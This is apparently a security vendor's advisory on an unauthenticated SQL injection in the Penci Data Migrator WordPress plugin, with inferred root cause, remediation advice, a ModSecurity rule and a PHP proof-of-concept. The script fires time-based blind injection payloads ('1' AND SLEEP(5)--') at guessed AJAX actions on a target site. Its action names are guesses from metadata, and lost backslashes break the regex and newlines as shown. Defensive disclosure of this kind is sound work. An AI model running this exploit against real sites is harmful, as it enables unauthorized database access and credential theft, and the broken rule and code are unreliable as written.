Atomic Edge analysis of CVE-2026-27054 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the Penci Data Migrator WordPress plugin. The plugin’s AJAX endpoint lacks proper capability checks and input sanitization, allowing attackers to execute arbitrary SQL commands. The absence of a nonce verification mechanism enables direct exploitation without authentication.
Atomic Edge research infers the root cause from the CWE classification and typical WordPress plugin patterns. The vulnerable component is likely an AJAX handler registered via `wp_ajax_nopriv_{action}` or `wp_ajax_{action}`. The plugin fails to validate user permissions before processing database queries. It also directly incorporates user-controlled parameters into SQL statements without using prepared statements or proper escaping. These conclusions are inferred from the CWE classification and common WordPress vulnerability patterns, not confirmed via source code review.
Exploitation targets the WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. Attackers send POST requests with the `action` parameter set to a plugin-specific AJAX hook, likely containing `penci_data_migrator`. A second parameter, possibly named `sql`, `query`, `table`, or `id`, contains malicious SQL payloads. Example payloads include UNION-based data extraction or time-based blind SQL injection commands like `1′ AND SLEEP(5)–`. The attack requires no authentication or nonce tokens.
Remediation requires implementing multiple security layers. The plugin must add capability checks using `current_user_can()` to restrict AJAX handlers to authorized users. All database operations must use WordPress `$wpdb` prepared statements with `$wpdb->prepare()`. Nonce verification via `check_ajax_referer()` should validate request legitimacy. Input validation should restrict parameters to expected data types and ranges before database interaction.
Successful exploitation grants attackers full database access. Attackers can extract sensitive information including WordPress user credentials (hashed passwords), personally identifiable information, and plugin-specific data. They can modify or delete database contents, potentially compromising website functionality. In configurations with appropriate database privileges, attackers may achieve remote code execution through file system writes or plugin manipulation.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-27054 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202627054,phase:2,deny,status:403,chain,msg:'CVE-2026-27054: Penci Data Migrator SQL Injection via AJAX',severity:'CRITICAL',tag:'CVE-2026-27054',tag:'WordPress',tag:'Plugin',tag:'SQLi'"
SecRule ARGS_POST:action "@rx ^(penci_data_migrator|penci_data_migrator_) "
"chain,t:none"
SecRule ARGS_POST "@rx (?i)(b(union|select|insert|update|delete|drop|alter|create|exec)b.*b(sleep|benchmark)s*(|'s*(and|or)s*[d.]+s*[=<>]s*[d.]+|b(version|user|database)()|b(load_file|intos+(out|dump)file)s*(|--s*$|#|/*.**/)"
"t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:removeWhitespace"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-27054 - Penci Data Migrator Unauthenticated SQL Injection
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
// Common AJAX action patterns for migration plugins
$possible_actions = [
'penci_data_migrator_execute_sql',
'penci_data_migrator_import',
'penci_data_migrator_ajax_handler',
'penci_data_migrator_process',
'penci_data_migrator'
];
// SQL injection payload for time-based blind detection
$payload = "1' AND SLEEP(5)--";
foreach ($possible_actions as $action) {
echo "[+] Testing AJAX action: {$action}n";
$post_data = [
'action' => $action,
// Common parameter names in migration/import plugins
'data' => $payload,
'query' => $payload,
'sql' => $payload,
'table' => $payload,
'id' => $payload
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
if ($elapsed >= 5) {
echo "[!] Potential SQL injection vulnerability detected! Response delay: {$elapsed} secondsn";
echo "[!] Vulnerable action parameter: {$action}n";
echo "[!] Response preview: " . substr($response, 0, 200) . "n";
break;
} else {
echo "[-] No delay detected for action: {$action} (time: {$elapsed}s)n";
}
curl_close($ch);
}
?>
